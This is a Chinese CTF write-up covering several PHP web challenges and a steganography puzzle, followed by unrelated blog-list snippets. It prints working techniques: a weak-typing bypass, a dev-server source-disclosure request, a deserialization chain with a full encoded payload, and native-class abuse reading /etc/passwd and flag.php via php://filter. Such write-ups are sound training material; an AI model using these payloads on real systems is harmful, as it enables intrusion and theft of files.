【黄河流域公安院校网络空间安全技能挑战赛】部分wp
文章目录
- web
- babyPHP
- funnyPHP
- Ezphp
- **遍历文件目录的类**
- 1、DirectoryIterator:
- 2、FilesystemIterator:
- 3、**Globlterator**
- 读取文件内容的类:
- SplFileObject
- Misc
- 套娃
web
babyPHP
<?php
highlight_file(__FILE__);
error_reporting(0);$num = $_GET['num'];if (preg_match("/\'|\"|\`| |<|>|?|\^|%|\$/", $num)) {die("nononno");
}if (eval("return ${num} != 2;") && $num == 0 && is_numeric($num) != true) {system('cat flag.php');
} else {echo '2';
}
仔细读题,主要考察php弱类型比较,我们可以直接传字母就行:
http://43.138.65.13:2025/?num=a
funnyPHP
我们访问的路径为:
http://47.104.14.160:3344/hint.php

当我们访问根目录时:
可以判断这里为: php Development Server 启动的服务

查询得知,这里考察的是 PHP<=7.4.21 Development Server源码泄露漏洞
GET /puzzle.php HTTP/1.1
Host: pd.research
\r\n
\r\n
GET / HTTP/1.1
\r\n
\r\n
当我们以如上方式发送数据包时,我们可以获得 puzzle.php 的源码:

使用bp时要注意,我们要把 自动填充 content-length关闭掉

源码如下:
<?php
error_reporting(0);class A{public $sdpc = ["welcome" => "yeah, something hidden."];function __call($name, $arguments){$this->$name[$name]();}}class B{public $a;function __construct(){$this->a = new A();}function __toString(){echo $this->a->sdpc["welcome"]; //对大家表示欢迎}}class C{public $b;protected $c;function __construct(){$this->c = new B();}function __destruct(){$this->b ? $this->c->sdpc('welcom') : 'welcome!'.$this->c; //变着法欢迎大家}
}class Evil{function getflag() {echo file_get_contents('/fl4g');}
}if(isset($_POST['sdpc'])) {unserialize($_POST['sdpc']);
} else {serialize(new C());
}?>
这是一个反序列化漏洞,我们可以如下构造:
<?php
error_reporting(0);class A
{public $sdpc;function __construct() {$this->sdpc = array("sdpc" => array(new Evil(),'getflag'));}//注意修改$sdpc的值为一个数组 //array('sdpc'=>array(new Evil(),'getflag'))function __call($name, $arguments){$name[$name]();}
}class B
{public $a;function __construct(){$this->a = new A();}function __toString(){echo $this->a->sdpc["welcome"]; //对大家表示欢迎}
}class C
{public $b;protected $c;function __construct(){$this->c = new A(); //注意修改为创建A类对象}function __destruct(){$this->b ? $this->c->sdpc('welcom') : 'welcome!' . $this->c; //给b赋值 ,触发 ___call}
}class Evil
{function getflag(){echo '1';file_get_contents('/fl4g');}
}$ca = new A();
$cb = new B();
$cc = new C();$cc->b = 'sp4c1ous';echo urlencode(serialize($cc));
payload:
sdpc=O%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22b%22%3Bs%3A8%3A%22sp4c1ous%22%3Bs%3A4%3A%22%00%2A%00c%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22sdpc%22%3Ba%3A1%3A%7Bs%3A4%3A%22sdpc%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Evil%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22getflag%22%3B%7D%7D%7D%7D
这里有一个点:
<?php
class Evil
{function getflag(){echo '1';}
}
print_r(array(new Evil(),'getflag')());
//输出: 1
array(new Evil(),'getflag')()
这样子相当于 Evil对象eval调用它的getflag()方法: eval::getflag()
这里不是很懂
Ezphp
<?php
error_reporting(0);
highlight_file(__FILE__);
$g = $_GET['g'];
$t = $_GET['t'];
echo new $g($t);
这个地方直接要我们创建对象,但是又没有自定义类,所以我们应该寻找php原生类
最初我想到的是 Error、Exception类,但是没什么用,可以用来执行xss漏洞
然后我找到了如下几个类:
遍历文件目录的类
- DirectoryIterator
- FilesystemIterator
- GlobIterator
1、DirectoryIterator:
会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名
我们可以配合glob协议 模式匹配来寻找我们想要的文件路径:
http://43.138.65.13:2023/?g=DirectoryIterator&t=glob:///var/www/h*
//回显:html
我们想要得到路径下所有的文件、目录,需要遍历输出:
$a = new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().'<br>');
}
2、FilesystemIterator:
和上面差不多:
$a = new FilesystemIterator("glob:///*");
foreach($a as $f){echo($f->__toString().'<br>');
}
3、Globlterator
与前两个类的作用相似,GlobIterator 类也是可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。
在这个类中不需要配合glob伪协议,可以直接使用 传参直接给路径就行
读取文件内容的类:
SplFileObject
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作。
SplFileObject继承自 SplFileInfo
http://43.138.65.13:2023/?g=SplFileObject&t=/etc/passwd
读取到了 /etc/passwd 内容
这里我们可以结合php伪协议:
http://43.138.65.13:2023/?g=SplFileObject&t=php://filter/convert.base64-encode/resource=flag.php

成功读取flag
相关文章
Misc
套娃
解压密码在最底下

打开txt文件,ZjRrM19rM3k= base64解密是一个假的key
我们滑倒txt文件最底下:

有一大堆不可见的东西,在记事本打开:

发现没有什么,这因该是零宽字符
零宽字符解密
XzFzX0U0NXk= 解密得到key:_1s_E45y
然后我们观察一下图片,猜测是 lsb隐写
但是 stegsolve 得到一串不知道什么得东西,我们猜测这是加密的lsb隐写,
我们可以使用 lsb隐写脚本: cloacked-pixel
结合之前我们得到的key,我们解密:
python2 lsb.py extract encode.png flag.txt _1s_E45y

得到flag
相关文章:
【黄河流域公安院校网络空间安全技能挑战赛】部分wp
文章目录webbabyPHPfunnyPHPEzphp**遍历文件目录的类**1、DirectoryIterator:2、FilesystemIterator:3、**Globlterator**读取文件内容的类:SplFileObjectMisc套娃web babyPHP <?php highlight_file(__FILE__); error_reporting(0);$num $_GET[nu…...
五点CRM系统核心功能是什么
很多企业已经把CRM客户管理系统纳入信息化建设首选,用于提升核心竞争力,改善企业市场、销售、服务、渠道和客户管理等几个方面,并进行创新或转型。CRM系统战略的五个关键要点是:挖掘潜在客户、评估和培育、跟进并成交、分析并提高…...
window.print() 前端实现网页打印详解
目录 前言 一、print()方法 二、打印样式 2.1使用打印样式表 2.2使用媒介查询 2.3内联样式使用media属性 2.4在css中使用import引入打印样式表 三、打印指定区域部分内容 3.1方法一 3.2方法二 3.3方法三 四、强制插入分页 4.1page-break-before(指定元素前…...
php程序员应具有的7种能力
php程序员应具有什么样的能力,才能更好的完成工作,才会有更好的发展方向呢?在中国我想您不会写一辈子代码的,那样不可能,过了黄金期,您又怎么办呢?看了本文后,希望对您有所帮助。 一…...
quarkus 生产环境与k8s集成总结
quarkus 生产环境与k8s集成总结 大纲 基础准备quarkus2.13.7脚手架工程配置GraalVM-java11 安装配置配置maven3.8.7linux环境下云原生二进制文件打包环境搭建编译运行quarkus二进制文件quarkus二进制文件制作为docker镜像并运行使用k8s部署quarkus二进制文件 基础准备 生产…...
蓝桥杯训练day2
day21.二分(1)789. 数的范围(2)四平方和(1)哈希表做法(2)二分做法(3)1227. 分巧克力(4)113. 特殊排序(5)1460. 我在哪?2.双指针(1)1238. 日志统计(2)1240. 完全二叉树的权值(3&#…...
为什么99%的程序员都做不好SQL优化?
连接层 最上层是一些客户端和链接服务,包含本地sock 通信和大多数基于客户端/服务端工具实现的类似于 TCP/IP的通信。主要完成一些类似于连接处理、授权认证、及相关的安全方案。在该层上引入了线程 池的概念,为通过认证安全接入的客户端提供线程。同样…...
Jenkins最新版安装调试
清理旧的jenkins: find / -name jenkins* 一项一项的清理:rm -rf /var/log/jenkins* 下载最新版jenkins镜像:jenkins-redhat-stable安装包下载_开源镜像站-阿里云 上传到服务器: 安装命令: yum install -y jenkins…...
简略说一下go的sync.RWMutex锁
在简略的说之前,首先要对RW锁的结构有一个大致的了解 type RWMutex struct {w Mutex // 写锁互斥锁,只锁写锁,和读锁无关writerSem uint32 // sema锁--用于“写协程”排队等待readerSem uint32 // sema锁--用于“读协程”排队…...
软考马上要报名了,出现这些问题怎么办?
目前,四川、山东、山西、辽宁、河北等地已经率先发布了2023年上半年软考报名通知。 四川:2023年3月13日-4月4日 山东:2023年3月17日9:00-4月3日16:00 山西:2023年3月14日9:00-3月28日11:00 辽宁:2023年3月14日8:30…...
单链表(增删查改)
目录一、什么是单链表?二、单链表的增删查改2.1 结构体变量的声明2.2 申请新结点2.2 链表的头插2.3 链表的尾插2.4 链表的头删2.5 链表的尾删2.6 链表的查找2.7 链表的任意位置后面插入2.8 链表的任意位置后面删除2.9 链表的销毁2.10 链表的打印三、代码汇总3.1 SLi…...
端口复用(bind error: Address already in use 问题)
欢迎关注博主 Mindtechnist 或加入【Linux C/C/Python社区】一起探讨和分享Linux C/C/Python/Shell编程、机器人技术、机器学习、机器视觉、嵌入式AI相关领域的知识和技术。 端口复用专栏:《Linux从小白到大神》《网络编程》 在前面讲解TCP状态转换中提到过一个2MSL…...
数字化引领乡村振兴,VR全景助力数字乡村建设
一、数字乡村建设加速经济发展随着数字化建设的推进,数字化农业产业正在成为农业产业发展的主导力量,因此数字化技术赋予农业产业竞争力的能力不可小觑。数字化乡村建设背景下,数字化信息技术将全面改造升级农村产业,从农业、养殖…...
【数据结构入门】-链表之双向循环链表
个人主页:平行线也会相交 欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 平行线也会相交 原创 收录于专栏【数据结构初阶(C实现)】 文章目录链表初始化打印链表尾插尾删新建一个节点头插头删查找在pos之前插入*删除pos位…...
Jenkins自动化部署入门
Jenkins自动化部署入门 一、简介 Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。 Jenkins自动化部署实现原理 二、Jenkins部…...
Springboot 读取模板excel信息内容并发送邮件, 并不是你想想中的那么简单
Springboot 读取模板excel信息内容并发送邮件 背景技术选型搭建过程数据加密隐藏问题暴露背景追溯解决背景 在我们日常开发中, 会遇到这样一种场景, 就是读取表格中的数据, 并将数据以附件的形式通过邮箱发送到表格中的每个人 即: excel 读取 excel 写入 发送邮件(携带附件), 例…...
蓝桥杯真题31日冲刺 |第一天
蓝桥杯真题31日冲刺 |第一天 一:完全平方数 题目:[链接](完全平方数 - 蓝桥云课 (lanqiao.cn)) 思路: 将 每个 完全平方数都 消掉,剩下的就是 不能构成平方的数 以12 为例: 所以 12 只要再 乘个三 即可满足 代…...
STM32开发(18)----CubeMX配置RTC
CubeMX配置RTC前言一、什么是RTC?RTC时钟源RTC备份域二、实验过程1.CubeMX配置2.代码实现3.实验结果总结前言 本章介绍使用STM32CubeMX对RTC进行配置的方法,RTC的原理、概念和特点,配置各个步骤的功能,并通过实验方式验证。 一、…...
Qt 单例模式第一次尝试
文章目录摘要单例模式如何使用Qt 的属性系统总结关键字: Qt、 单例、 的、 Q_GLOBAL_STATIC、 女神节摘要 世界上第一位电脑程序设计师是名女性:Ada Lovelace (1815-1852)是一位英国数学家兼作家,她是第一位主张计算机不只可以用来算数的人…...
C语言--一维数组
数组概念 数组:是一种构造数据类型,用以处理批量的同种类型的数据。 主要特点:数据量大 ,类型相同 一维数组的定义 语法: 类型说明符 数组名[整型常量表达式]; 注意: 方括号里面的内容用于指…...
XML Group端口详解
在XML数据映射过程中,经常需要对数据进行分组聚合操作。例如,当处理包含多个物料明细的XML文件时,可能需要将相同物料号的明细归为一组,或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码,增加了开…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...
阿里云ACP云计算备考笔记 (5)——弹性伸缩
目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...
【入坑系列】TiDB 强制索引在不同库下不生效问题
文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...
srs linux
下载编译运行 git clone https:///ossrs/srs.git ./configure --h265on make 编译完成后即可启动SRS # 启动 ./objs/srs -c conf/srs.conf # 查看日志 tail -n 30 -f ./objs/srs.log 开放端口 默认RTMP接收推流端口是1935,SRS管理页面端口是8080,可…...
鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/
使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题:docker pull 失败 网络不同,需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...
Map相关知识
数据结构 二叉树 二叉树,顾名思义,每个节点最多有两个“叉”,也就是两个子节点,分别是左子 节点和右子节点。不过,二叉树并不要求每个节点都有两个子节点,有的节点只 有左子节点,有的节点只有…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
Mysql中select查询语句的执行过程
目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析(Parser) 2.4、执行sql 1. 预处理(Preprocessor) 2. 查询优化器(Optimizer) 3. 执行器…...
